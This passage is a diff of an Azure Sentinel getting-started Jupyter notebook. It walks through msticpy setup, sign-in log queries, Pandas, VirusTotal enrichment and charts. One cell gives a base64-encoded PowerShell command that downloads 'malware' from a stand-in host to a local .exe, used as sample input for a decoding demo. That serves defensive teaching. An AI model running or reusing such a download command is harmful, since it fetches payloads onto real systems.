material we have referenced in the learn more sections in this notebook. You can also explore the other Azure Sentinel notebooks in order to take advantage of the pre-built hunting logic, and understand other analysis techniques that are possible.
\n", - "### Appendix:\n", - " - [Jupyter Notebooks: An Introduction](\"https://realpython.com/jupyter-notebook-introduction/\")\n", - " - [Threat Hunting in the cloud with Azure Notebooks](\"https://medium.com/@maarten.goet/threat-hunting-in-the-cloud-with-azure-notebooks-supercharge-your-hunting-skills-using-jupyter-8d69218e7ca0\")\n", - " - [MSTICpy documentation](\"https://msticpy.readthedocs.io/\")\n", - " - [Azure Sentinel Notebooks documentation](\"https://docs.microsoft.com/en-us/azure/sentinel/notebooks\")\n", - " - [The Infosec Jupyterbook](\"https://infosecjupyterbook.com/introduction.html\")\n", - " - [Linux Host Explorer Notebook walkthrough](\"https://techcommunity.microsoft.com/t5/azure-sentinel/explorer-notebook-series-the-linux-host-explorer/ba-p/1138273\")\n", - " - [Why use Jupyter for Security Investigations](\"https://techcommunity.microsoft.com/t5/azure-sentinel/why-use-jupyter-for-security-investigations/ba-p/475729\")\n", - " - [Security Investigtions with Azure Sentinel & Notebooks](\"https://techcommunity.microsoft.com/t5/azure-sentinel/security-investigation-with-azure-sentinel-and-jupyter-notebooks/ba-p/432921\")\n", - " - [Pandas Documentation](\"https://pandas.pydata.org/pandas-docs/stable/user_guide/index.html\")\n", - " - [Bokeh Documentation](\"https://docs.bokeh.org/en/latest/\")" - ] - }, - { - "metadata": { - "trusted": true - }, - "cell_type": "code", - "source": [], - "execution_count": null, - "outputs": [] - } - ], - "metadata": { - "kernelspec": { - "name": "python36", - "display_name": "Python 3.6", - "language": "python" - }, - "widgets": { - "application/vnd.jupyter.widget-state+json": { - "state": {}, - "version_major": 2, - "version_minor": 0 - } - }, - "language_info": { - "mimetype": "text/x-python", - "nbconvert_exporter": "python", - "name": "python", - "pygments_lexer": "ipython3", - "version": "3.6.6", - "file_extension": ".py", - "codemirror_mode": { - "version": 3, - "name": "ipython" - } - } - }, - "nbformat": 4, - "nbformat_minor": 4 -} \ No newline at end of file + "cells": [ + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "# Getting Started with Azure Notebooks and Azure Sentinel\n", + "**Notebook Version:** 1.0
\n", + " **Python Version:** Python 3.6 (including Python 3.6 - AzureML)
\n", + " **Required Packages**:
\n", + " **Platforms Supported**:\n", + " - Azure Notebooks Free Compute\n", + " - Azure Notebooks DSVM\n", + " - OS Independent\n", + "\n", + "**Data Sources Required**:\n", + " - Log Analytics - SiginLogs (Optional)\n", + " - VirusTotal\n", + " - MaxMind\n", + " \n", + " \n", + "This notebook takes you through the basics needed to get started with Azure Notebooks and Azure Sentinel, and how to perform the basic actions of data acquisition, data enrichment, data analysis, and data visualization. These actions are the building blocks of threat hunting with notebooks and are useful to understand before running more complex notebooks. This notebook only lightly covers each topic but includes 'learn more' sections to provide you with the resource to deep dive into each of these topics. \n", + "\n", + "This notebook assumes that you are running this in an Azure Notebooks environment, however it will work in other Jupyter environments.\n", + "\n", + "**Note:**\n", + "This notebooks uses SigninLogs from your Azure Sentinel Workspace. If you are not yet collecting SigninLogs configure this connector in the Azure Sentinel portal before running this notebook.\n", + "This notebook also uses the VirusTotal API for data enrichment, for this you will require an API key which can be obtained by signing up for a free [VirusTotal community account](\"https://www.virustotal.com/gui/join-us\")\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## What is a Jupyter notebook?\n", + "You are currently reading a Jupyter notebook. [Jupyter](http://jupyter.org/) is an interactive development and data manipulation environment presented in a browser. Using Jupyter you can create documents, called Notebooks. These documents are made up of cells that contain interactive code, alongside that code's output, and other items such as text and images (what you are looking at now is a cell of Markdown text).\n", + "\n", + "The name, Jupyter, comes from the core supported programming languages that it supports: Julia, Python, and R. Whilst you can use any of these languages we are going to use Python in this notebook, in addition the notebooks that come with Azure Sentinel are all written in Python. Whilst there are pros, and cons to each language Python is a well-established language that has a large number of materials and libraries well suited for data analysis and security investigation, making it ideal for our needs.\n", + "\n", + "### Learn more:\n", + " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/introduction.html\") has more details on the technical working of Jupyter.\n", + " - [The Jupyter Project documentation](\"https://jupyter.org/documentation\")\n", + "\n", + "---\n", + "## How to use a Jupyter notebook?\n", + "To use a Jupyter notebook you need a Jupyter server that will render the notebook and execute the code within it. This can take the form of a local [Jupyter installation](https://pypi.org/project/jupyter/), or a remotely hosted version such as [Azure Notebooks](https://notebooks.azure.com/). If you are reading this it is highly likely that you already have a Jupyter server that this notebook is using.\n", + "You can learn more about installing and running your own Jupyter server [here](https://realpython.com/jupyter-notebook-introduction/).\n", + "\n", + "### Using Azure Notebooks\n", + "If you accessed this notebook from Azure Sentinel, you are probably using Azure Notebooks to run this notebook. Azure Notebooks runs in the same way that a local Jupyter server with, except with the additional feature of integrated project management and file storage. When you open a notebook in Azure Notebooks the user interface is nearly identical to a standard Jupyter notebook experience.\n", + "\n", + "Before you can start running code in a notebook you need to make sure that it is connected to a Jupyter server and you have the correct type of kernel configured. For this notebook we are going to be using Python 3.6, hopefully Azure Notebooks has already loaded this kernel for you - you can check this by looking at the top left corner of the screen where you should see the currently connected kernel. \n", + "\n", + "![KernelIssue](https://github.com/Azure/Azure-Sentinel-Notebooks/raw/master/images/nb_img1.png)\n", + "\n", + "If this does not read Python 3.6 you can select the correct kernel by selecting Kernel > Change kernel from the top menu and clicking Python 3.6.\n", + "\n", + "> **Note**: the notebook works with Python 3.6, 3.7 or later. If you are using this notebook in Azure ML or another Jupyter environment you can choose any kernel that supports Python 3.6 or later\n", + "\n", + "![KernelPicker](https://github.com/Azure/Azure-Sentinel-Notebooks/raw/master/images/nb_img2.png)\n", + "\n", + "Once you have done this you should be ready to move onto a code cell.\n", + "> **Tip**: You can identify which cells are code by selecting them and looking at the drop down box at the center of the top menu. It will either read 'Code' (for interactive code cells), 'Markdown' (for Markdown text cells like this one), or RawNBConvert (these are just raw data and not interpreted by Jupyter - they can be used by tools that process notebook files, such as *nbconvert* to render the data into HTML or LaTeX). \n", + "\n", + "If you click on the cell below you should see this box change to 'Code'.\n", + "\n", + "### Learn More:\n", + "More details on Azure Notebooks can be found in the [Azure Notebooks documentation](https://docs.microsoft.com/en-us/azure/notebooks/) and the [Azure Sentinel documentation](https://docs.microsoft.com/en-us/azure/sentinel/notebooks).\n", + "\n", + "---\n", + "## Running code\n", + "Once you have selected a code cell you can run it by clicking the run button at the menu bar at the top, or by pressing Ctrl+Enter.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# This is our first code cell, it contains basic Python code.\n", + "# You can run a code cell by selecting it and clicking the Run button in the top menu, or by pressing Shift + Enter.\n", + "# Once you run a code cell any output from that code will be displayed directly below it.\n", + "print(\"Congratulations you just ran this code cell\")\n", + "y = 2+2\n", + "print(\"2 + 2 =\", y)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Variables set within a code cell persist between cells meaning you can chain cells together" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "y + 2" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn More : \n", + " - The [Infosec Jupyter Book](\"https://infosecjupyterbook.com/\") provides an infosec specific intro to Python.\n", + " - [Real Pyhton](\"https://realpython.com/\") is a comprehensive set of Python learnings and tutorials.\n", + "
\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Now that you understand the basics we can move onto more complex code.\n", + "\n", + "---\n", + "## Setting up the environment\n", + "Code cells behave in the same way your code would in other environments, so you need to remember about common coding practices such as variable initialization and library imports. \n", + "Before we execute more complex code we need to make sure the required packages are installed and libraries imported. At the top of many of the Azure Sentinel notebooks you will see large cells that will check kernel versions and then install and import all the libraries we are going to be using in the notebook, make sure you run this before running other cells in the notebook.\n", + "If you are running notebooks locally or via dedicated compute in Azure Notebooks library installs will persist but this is not the case with Azure Notebooks free tier, so you will need to install each time you run. Even if running in a static environment imports are required for each run so make sure you run this cell regardless." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from pathlib import Path\n", + "import os\n", + "import sys\n", + "import warnings\n", + "from IPython.display import display, HTML, Markdown\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_python_ver, check_mp_ver\n", + "\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", + " try:\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", + " except ImportError:\n", + " !pip install --user --upgrade msticpy\n", + " if \"msticpy\" in sys.modules:\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", + " else:\n", + " import msticpy\n", + " check_mp_ver(MSTICPY_REQ_VERSION)\n", + " \n", + "from msticpy.nbtools import nbinit\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " extra_imports=[\"ipwhois, IPWhois, pyyaml\"]\n", + ")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Configuration\n", + "Once we have set up our Jupyter environment with the libraries that we'll use in the notebook, we need to make sure we have some configuration in place. Some of the notebook components need addtional configuration to connect to external services (e.g. API keys to retrieve Threat Intelligence data). This includes configuration for connection to our Azure Sentinel workspace, as well as some threat intelligence providers we will use later.\n", + "The easiest way to handle the configuration for these services is to store them in a msticpyconfig file (`msticpyconfig.yaml`). More details on msticpyconfig can be found here: https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html\n", + "\n", + "### Learn more: \n", + "- In this notebook we will setup the basic config we need to get started. If you need a more complete walk-through we have a separate notebook to help you: https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", + "
\n", + "
" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The Azure-Sentinel-Notebooks GitHub repo contains an template msticpyconfig file ready to be populated. If you have run this notebook before you may have a msticpyconfig file already populated, the cell below allows you to checks if this file. If your config file does not contain details under Azure Sentinel > Workspaces, or TIProviders the following cells will populate these for you.
\n", + "If you want to see an example of what a populated msticpyconfig file should look like a samples is included in the repo as msticpyconfig-sample.yaml." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%pfile msticpyconfig.yaml" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "If you do not have and msticpyconfig file we can populate one for you. Before you do this you will need a few things.\n", + "\n", + "The first is the Workspace ID and Tenant ID of the Azure Sentinel Workspace you wish to connect to.\n", + "\n", + " - You can get the workspace ID by opening Azure Sentinel in the [Azure Portal](\"https://portal.azure.com\") and selecting Settings > Workspace Settings. Your Workspace ID is displayed near the top of this page.\n", + "\n", + "- You can get your tenant ID (also referred to organization or directory ID) via [Azure Active Directory](\"https://docs.microsoft.com/en-us/onedrive/find-your-office-365-tenant-id\")\n", + "\n", + "We are going to use [VirusTotal](\"https://www.virustotal.com\") to enrich our Azure Sentinel data. For this you will need a VirusTotal API key, one of these can be obtained for free (as a personnal key) via the [VirusTotal](\"https://developers.virustotal.com/v3.0/reference#getting-started\") website.\n", + "We are using VirusTotal for this notebook but we also support a range of other threat intelligence providers: https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\n", + "

\n", + "In addition we are going to plot IP address locations on a map, in order to do this we are going to use [MaxMind](\"https://www.maxmind.com\") to geolocate IP addresses which requires an API key. You can sign up for a free account and API key at https://www.maxmind.com/en/geolite2/signup. \n", + "

\n", + "Once you have these required items run the cell below and you will prompted to enter these elements:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "scrolled": true + }, + "outputs": [], + "source": [ + "ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", + " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", + "ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", + " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", + "vt_key = nbwidgets.GetEnvironmentKey(env_var='VT_KEY',\n", + " prompt='Please enter your VirusTotal API Key:', auto_display=True)\n", + "mm_key = nbwidgets.GetEnvironmentKey(env_var='MM_KEY',\n", + " prompt='Please enter your MaxMind API Key:', auto_display=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + " The cell below will now populate a msticpyconfig file with these values:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import yaml\n", + "with open(\"msticpyconfig.yaml\") as config:\n", + " data = yaml.load(config, Loader=yaml.Loader)\n", + "data['AzureSentinel']\n", + "\n", + "workspace = {\"Default\":{\"WorkspaceId\": ws_id.value, \"TenantId\": ten_id.value}}\n", + "ti = {\"VirusTotal\":{\"Args\": {\"AuthKey\" : vt_key.value}, \"Primary\" : True, \"Provider\": \"VirusTotal\"}}\n", + "other_prov = {\"GeoIPLite\" : {\"Args\" : {\"AuthKey\" : mm_key.value, \"DBFolder\" : \"~/msticpy\"}, \"Provider\" : \"GeoLiteLookup\"}}\n", + "data['AzureSentinel']['Workspaces'] = workspace\n", + "data['TIProviders'] = ti\n", + "data['OtherProviders'] = other_prov\n", + "\n", + "with open(\"msticpyconfig.yaml\", 'w') as config:\n", + " yaml.dump(data, config)\n", + " \n", + "print(\"msticpyconfig.yaml updated\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can now validate our configuration is correct." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.common.pkg_config import refresh_config, validate_config\n", + "refresh_config()\n", + "validate_config()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "> **Note** you may see warnings for missing providers when running this cell.\n", + "> This is not an issue as we will not be using all providers in this notebook\n", + "> so long as you get thie message \"No errors found.\" you are OK to proceed.\n" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Getting Data\n", + "Now that we have configured the details necessary to connect to Azure Sentinel we can go ahead and get some data. We will do this with `QueryProvider()` from MSTICpy. \n", + "You can use the `QueryProvider` class to connect to different data sources such as MDATP, the Security Graph API, and the one we will use here, Azure Sentinel. \n", + "\n", + "### Learn more:\n", + " - More details on configuring and using QueryProviders can be found in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#instantiating-a-query-provider\").\n", + "

" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "For now, we are going to set up a QueryProvider for Azure Sentinel, pass it the details for our workspace that we just stored in the msticpyconfig file, and connect. The connection process will ask us to authenticate to our Azure Sentinel workspace via [device authorization](\"https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code\") with our Azure credentials. You can do this by clicking the device login code button that appears as the output of the next cell, or by navigating to https://microsoft.com/devicelogin and manually entering the code. Note that this authentication persists with the kernel you are using with the notebook, so if you restart the kernel you will need to re-authenticate.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Initalize a QueryProvider for Azure Sentinel\n", + "qry_prov = QueryProvider(\"LogAnalytics\")\n", + "\n", + "# Get the Azure Sentinel workspace details from msticpyconfig\n", + "try:\n", + " ws_config = WorkspaceConfig()\n", + " md(\"Workspace details collected from config file\")\n", + "except:\n", + " raise(\"No workspace settings are configured, please run the cells above to configure these.\")\n", + " \n", + "# Connect to Azure Sentinel with our QueryProvider and config details\n", + "# ws_config.code_connect_str is a feature of MSTICpy that creates the required connection string from details in our msticpyconfig\n", + "qry_prov.connect(connection_str=ws_config.code_connect_str)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Now that we have connected we can query Azure Sentinel for data, but before we do that we need to understand what data is avalaible to query. The QueryProvider object provides a way to get a list of tables as well as tables and table columns:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get list of tables in our Workspace\n", + "display(qry_prov.schema_tables [:5]) # We are outputting only the first 5 tables for brevity\n", + "# Get list of tables and thier columns\n", + "qry_prov.schema['SigninLogs'] # We are only displaying the columns for SigninLogs for brevity" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "MSTICpy includes a number of built in queries that you can run.
\n", + "You can list available queries with .list_queries() and get specific details about a query by calling it with \"?\" as a parameter" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get a list of avaliable queries\n", + "qry_prov.list_queries()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Get details about a query\n", + "qry_prov.Azure.list_all_signins_geo(\"?\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "You can then run the query by calling it with the required parameters:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from datetime import datetime, timedelta\n", + "# set our query end time as now\n", + "end = datetime.now()\n", + "# set our query start time as 1 hour ago\n", + "start = end - timedelta(hours=1)\n", + "# run query with specified start and end times\n", + "logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", + "# display first 5 rows of any results\n", + "logons_df.head() # If you have no data you will just see the column headings displayed" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Another way to run queries is to pass a string format of a KQL query to the query provider, this will run the query against the workspace connected to above, and will return the data in a [Pandas DataFrame](\"https://pandas.pydata.org/\"). We will look at working with Pandas in a bit more detail later." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Define our query\n", + "test_query = \"\"\"\n", + "SigninLogs\n", + "| where TimeGenerated > ago(7d)\n", + "| take 10\n", + "\"\"\"\n", + "\n", + "# Pass that query to our QueryProvider\n", + "test_df = qry_prov.exec_query(test_query)\n", + "\n", + "# Check that we have some data\n", + "if isinstance(test_df, pd.DataFrame) and not test_df.empty:\n", + " # .head() returns the first 5 rows of our results DataFrame\n", + " display(test_df.head())\n", + "# If where is no data load some sample data to use instead\n", + "else:\n", + " md(\"You don't appear to have any SigninLogs - we will load sample data for you to use.\")\n", + " qry_prov = QueryProvider(\"LocalData\", data_paths=[\"nbdemo/data/\"], query_paths=[\"nbdemo/data/\"])\n", + " logons_df = qry_prov.Azure.list_all_signins_geo()\n", + " display(logons_df.head())" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + " - You can learn more about the MSTICpy pre-defined queries in the [MSTICpy Documentation](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/DataProviders.html#running-an-pre-defined-queryl\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Pandas\n", + "Our query results are returned in the form of a Pandas DataFrame. DataFrames are a core component of the Azure Sentinel notebooks and of MSTICpy and is used for both input and output formats.\n", + "Pandas DataFrames are incredibly versitile data structures with a lot of useful features, we will cover a small number of them here and we recommend that you check out the Learn more section to learn more about Pandas features.\n", + "
\n", + "
\n", + "### Displaying a DataFrame:\n", + "The first thing we want to do is display our DataFrame. You can either just run it or explicity display it by calling `display(df)`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# For this section we are going to create a DataFrame from data we have saved in a csv file\n", + "df = pd.read_csv(\"https://raw.githubusercontent.com/microsoft/msticpy/master/tests/testdata/host_logons.csv\", index_col=[0] )\n", + "# Display our DataFrame\n", + "df # or display(df)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "> **Note** if the dataframe variable (`df` in the example above) is the last statement in a \n", + "> code cell, Jupyter will automatically display it without using the `display()` function. \n", + "> However, if you want to display a DataFrame in the middle of \n", + "> other code in a cell you must use the `display()` function.\n", + "\n", + "You may not want to display the whole DataFrame and instead display only a selection of items. There are numerous ways to do this and the cell below shows some of the most widely used functions." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display the first 2 rows using head(): \", \"bold\")\n", + "display(df.head(2)) # we don't need to call display here but just for illustration" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display the 3rd row using iloc[]: \", \"bold\")\n", + "df.iloc[3]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Show the column names in the DataFrame \", \"bold\")\n", + "df.columns" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display just the TimeGenerated and TenantId columnns: \", \"bold\")\n", + "df[[\"TimeGenerated\", \"TenantId\"]]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can also choose to select a subsection of our DataFrame based on the contents of the DataFrame:\n", + "\n", + "> **Tip**: the syntax in these examples is using a technique called *boolean indexing*. \n", + ">
`df[]`\n", + "> returns all rows in the dataframe where the boolean expression is True\n", + ">
In the first example we telling pandas to return all rows where the column value of\n", + "> 'TargetUserName' matches 'MSTICAdmin'" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display only rows where TargetUserName value is 'MSTICAdmin': \", \"bold\")\n", + "df[df['TargetUserName']==\"MSTICAdmin\"]" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "md(\"Display rows where TargetUserName is either MSTICAdmin or adm1nistratror:\", \"bold\")\n", + "display(df[df['TargetUserName'].isin(['adm1nistrator', 'MSTICAdmin'])])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Our DataFrame call also be extended to add new columns with additional data if reqired:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "df[\"NewCol\"] = \"Look at my new data!\"\n", + "display(df[[\"TenantId\",\"Account\", \"TimeGenerated\", \"NewCol\"]].head(2))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "There is a lot more you can do with Pandas, the links below provide some useful resources:\n", + " - [Getting starting with Pandas](\"https://pandas.pydata.org/pandas-docs/stable/getting_started/index.html\")\n", + " - [Infosec Jupyerbook intro to Pandas](\"https://infosecjupyterbook.com/notebooks/tutorials/03_intro_to_pandas.html\")\n", + " - [A great list of Pandas hints and tricks](\"https://www.dataschool.io/python-pandas-tips-and-tricks/\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Enriching data\n", + "\n", + "Now that we have seen how to query for data, and do some basic manipulation we can look at enriching this data with additional data sources. For this we are going to use an external threat intelligence provider to give us some more details about an IP address we have in our dataset using the [MSTICpy TIProvider](\"https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html\") feature." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from datetime import datetime, timedelta\n", + "# Check if we have logon data already and if not get some\n", + "if not isinstance(logons_df, pd.DataFrame) or logons_df.empty:\n", + " # set our query end time as now\n", + " end = datetime.now()\n", + " # set our query start time as 1 hour ago\n", + " start = end - timedelta(days=1)\n", + " # run query with specified start and end times\n", + " logons_df = qry_prov.Azure.list_all_signins_geo(start=start, end=end)\n", + " \n", + "# Create our TI provider\n", + "ti = TILookup()\n", + "# Get the first logon IP address from our dataset\n", + "ip = logons_df.iloc[1]['IPAddress']\n", + "# Look up the IP in VirusTotal\n", + "ti_resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", + "\n", + "# Format our results as a DataFrame\n", + "ti_resp = ti.result_to_df(ti_resp)\n", + "display(ti_resp)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Using the [Pandas apply()](\"https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.apply.html\") feature we can get results for all the IP addresses in our data set and add the lookup severity score as a new column in our DataFrame for easier reference." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Take the IP address in each row, look it up against TI and return the seveirty score\n", + "def lookup_res(row):\n", + " ip = row['IPAddress']\n", + " resp = ti.lookup_ioc(ip, providers=[\"VirusTotal\"])\n", + " resp = ti.result_to_df(resp)\n", + " return resp[\"Severity\"].iloc[0]\n", + "\n", + "# Take the first 3 rows of data and copy they into a new DataFrame\n", + "enrich_logons_df = logons_df.iloc[:3].copy()\n", + "# Create a new column called TIRisk and populate that with the TI severity score of the IP Address in that row\n", + "enrich_logons_df['TIRisk'] = enrich_logons_df.apply(lookup_res, axis=1)\n", + "# Display a subset of columns from our DataFrame\n", + "enrich_logons_df[[\"TimeGenerated\", \"ResultType\", \"UserPrincipalName\", \"IPAddress\", \"TIRisk\"]]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "MSTICpy includes further threat intelligence capabilities as well as other data enrichment options. More details on these can be found in the [documentation](\"https://msticpy.readthedocs.io/en/latest/DataEnrichment.html\")." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Analyzing data\n", + "With the data we have collected we may wish to perform some analysis on it in order to better understand it. MSTICpy includes a number of features to help with this, and there are a vast array of other data analysis capabilities available via Python ranging from simple processes to complex ML models. We will start here by keeping it simple and look at how we can decode some Base64 encoded command line strings we have in order to allow us to understand their content." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.sectools import base64unpack as b64\n", + "# Take our encoded Powershell Command\n", + "b64_cmd = \"powershell.exe -encodedCommand SW52b2tlLVdlYlJlcXVlc3QgaHR0cHM6Ly9jb250b3NvLmNvbS9tYWx3YXJlIC1PdXRGaWxlIEM6XG1hbHdhcmUuZXhl\"\n", + "# Unpack the Base64 encoded elements\n", + "unpack_txt = b64.unpack(input_string=b64_cmd)\n", + "# Display our results and transform for easier reading\n", + "unpack_txt[1].T" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "We can also use MSTICpy to extract Indicators of Compromise (IoCs) from a dataset, this makes it easy to extract and match on a set of IoCs within our data. In the example below we take a US Cybersecurity & Infrastructure Security Agency (CISA) report and extract all domains listed in the report:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import requests\n", + "# Set up our IoCExtract oject\n", + "ioc_extractor = iocextract.IoCExtract()\n", + "# Download our threat report\n", + "data = requests.get(\"https://www.us-cert.gov/sites/default/files/publications/AA20-099A_WHITE.stix.xml\")\n", + "# Extract domains listed in our report\n", + "iocs = ioc_extractor.extract(data.text, ioc_types=\"dns\")['dns']\n", + "# Display the first 5 iocs found in our report\n", + "list(iocs)[:5]" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Learn more:\n", + "There are a wide range of options when it comes to data analysis in notebooks using Python. Here are some useful resources to get you started:\n", + " - [MSITCpy DataAnalysis documentation](\"https://msticpy.readthedocs.io/en/latest/DataAnalysis.html\")\n", + " - Scikit-Learn is a popular Python ML data analysis library, which has a useful [tutorial](\"https://scikit-learn.org/stable/tutorial/basic/tutorial.html\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "---\n", + "## Visualizing data\n", + "Visualizing data can provide an excellent way to analyse data, identify patterns and anomalies. Python has a wide range of data visualization capabilities each of which have thier own benefits and drawbacks. We will look at some basic capabilities as well as the in-build visualizations in MSTICpy.\n", + "


\n", + "**Basic Graphs**
\n", + "Pandas and Matplotlib provide the easiest and simplest way to produce simple plots of data:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "vis_q = \"\"\"\n", + "SigninLogs\n", + "| where TimeGenerated > ago(7d)\n", + "| sample 5\"\"\"\n", + "\n", + "# Try and query for data but if using sample data load that instead\n", + "try:\n", + " vis_data = qry_prov.exec_query(vis_q)\n", + "except FileNotFoundError:\n", + " vis_data = logons_df\n", + "\n", + "# Check we have some data in our results and if not use previously used dataset\n", + "if not isinstance(vis_data, pd.DataFrame) or vis_data.empty:\n", + " vis_data = logons_df\n", + "\n", + "# Plot up to the first 5 IP addresses\n", + "vis_data.head()['IPAddress'].value_counts().plot.bar(title=\"IP prevelence\", legend=False)\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "pie_df = vis_data.copy()\n", + " # If we have lots of data just plot the first 5 rows\n", + "pie_df.head()['IPAddress'].value_counts().plot.pie(legend=True)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "[Bokeh](\"https://bokeh.org/\") is a powerful visualization library that allows you to create complex, interactive visualizations. MSTICpy includes a number of pre-built visualizations using Bokeh including a timeline feature that can be used to represent events over time. You can interact with the timeline by zooming and panning, using the range selector, as well as hovering over data points to see more details." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from datetime import datetime, timedelta\n", + "# Check if we have logon data already and if not get some\n", + "if not isinstance(logons_df, pd.DataFrame) or logons_df.empty:\n", + " # set our query end time as now\n", + " end = datetime.now()\n", + " # set our query start time as 1 hour ago\n", + " start = end - timedelta(days=1)\n", + " # run query with specified start and end times\n", + " logons_df = 